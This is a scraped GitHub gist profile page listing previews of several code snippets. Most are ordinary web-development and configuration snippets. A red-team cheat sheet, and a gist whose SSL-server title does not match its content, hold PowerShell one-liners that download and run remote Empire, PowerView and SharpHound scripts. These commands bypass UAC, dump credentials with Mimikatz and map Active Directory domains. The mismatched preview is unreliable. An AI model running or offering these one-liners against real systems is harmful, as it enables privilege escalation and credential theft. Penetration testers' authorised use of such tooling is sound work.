Skip to content

Instantly share code, notes, and snippets.

View gorgogol's full-sized avatar

Nikolaos N. Zisimos gorgogol

View GitHub Profile
@gorgogol
gorgogol / Python SimpleHTTPServer with SSL
Created April 12, 2020 10:19 — forked from rozifus/Python SimpleHTTPServer with SSL
Python SimpleHTTPServer with SSL
# useful for running ssl server on localhost
# which in turn is useful for working with WebSocket Secure (wss)
# copied from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# Description:
# Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.
# Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'"
# Invoke-Mimikatz: Dump credentials from memory
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
# Import Mimikatz Module to run further commands
@gorgogol
gorgogol / RedTeam_CheatSheet.ps1
Created August 29, 2019 10:20 — forked from m8sec/RedTeam_CheatSheet.ps1
Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.
# Domain Recon
## ShareFinder - Look for shares on network and check access under current user context & Log to file
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1');Invoke-ShareFinder -CheckShareAccess|Out-File -FilePath sharefinder.txt"
## Import PowerView Module
powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1')"
## Invoke-BloodHound for domain recon
powershell.exe -exec Bypass -C "IEX(New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound.ps1');Invoke-BloodHound"
@gorgogol
gorgogol / AddCallStackColumnToProfileDataFile
Created November 12, 2014 16:04
I put this script quickly together so I could follow the call stack in the profiler data.
# textToTree
# This script takes a tab delimited file in the form:
# x.y.a ...
# x.y.b ...
# x.y.c ...
# x.y.d ...
#
# And produces a file in the form:
# x.y.a ... [y#a]
# x.y.b ... [y#a, y#b]
@gorgogol
gorgogol / laravel-cribsheet.md
Created August 24, 2014 15:35
Laravel Cribsheet

Installation/configuration

Create laravel project

composer create-project laravel/laravel --prefer-dist PROJECT
```jo
This will setup a new laravel project in PROJECT subfolder of current folder, and set the encryption key.

## Development dependecies
Things that I find useful for development in every project.
@gorgogol
gorgogol / .vimrc
Created August 18, 2014 13:15
A vimrc with a set of bundles for web development.
set nocompatible
filetype off
set rtp+=~/.vim/bundle/vundle/
call vundle#rc()
" Let Vundle manage Vundle
Bundle 'gmarik/vundle'
" My Bundles
#!/bin/sh
# Usage: bash < <(curl -s https://gist.github.com/raw/965142/install.sh)
if [ ! -d "/Developer/Applications/Xcode.app" ]; then
echo "Please install Xcode first. Exiting."
exit 1
fi
# Have sudo ask us for our password before we kick everything off so we can walk away.
sudo echo "Here we go..."
@gorgogol
gorgogol / postForm.js
Created August 16, 2014 10:12
Posting a form with jquery.
jQuery(document).ready(function($){
$('form#aForm').on('submit', function(e){
e.preventDefault();
$.post(
url: form.attr('action');
data: form.serialize(),
success: function(data){
@gorgogol
gorgogol / bootstrapFormExample.html.part
Created August 12, 2014 16:17
A simple example of a form using Twitter Bootstrap.
<form id="registerForm" role="form" class="form">
<div class="form-group"><label>Username</label><input class="form-control" name="username" type="text" required></input class="form-control" ></div>
<div class="form-group"><label>E-mail</label><input class="form-control" name="email" type="email" required></input class="form-control" ></div>
<div class="form-group"><label>Password</label><input class="form-control" name="password" type="password" required></input class="form-control" ></div>
` <div class="form-group"><label>Password (verify)</label><input class="form-control" name="verifyPassword" type="password" required></input class="form-control" ></div>
</form>
@gorgogol
gorgogol / bootstrapModalExample.html
Created August 12, 2014 16:15
Bootstrap modal box example.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Bootstrap carousel</title>
<!-- Bootstrap -->
<link href="css/bootstrap.min.css" rel="stylesheet">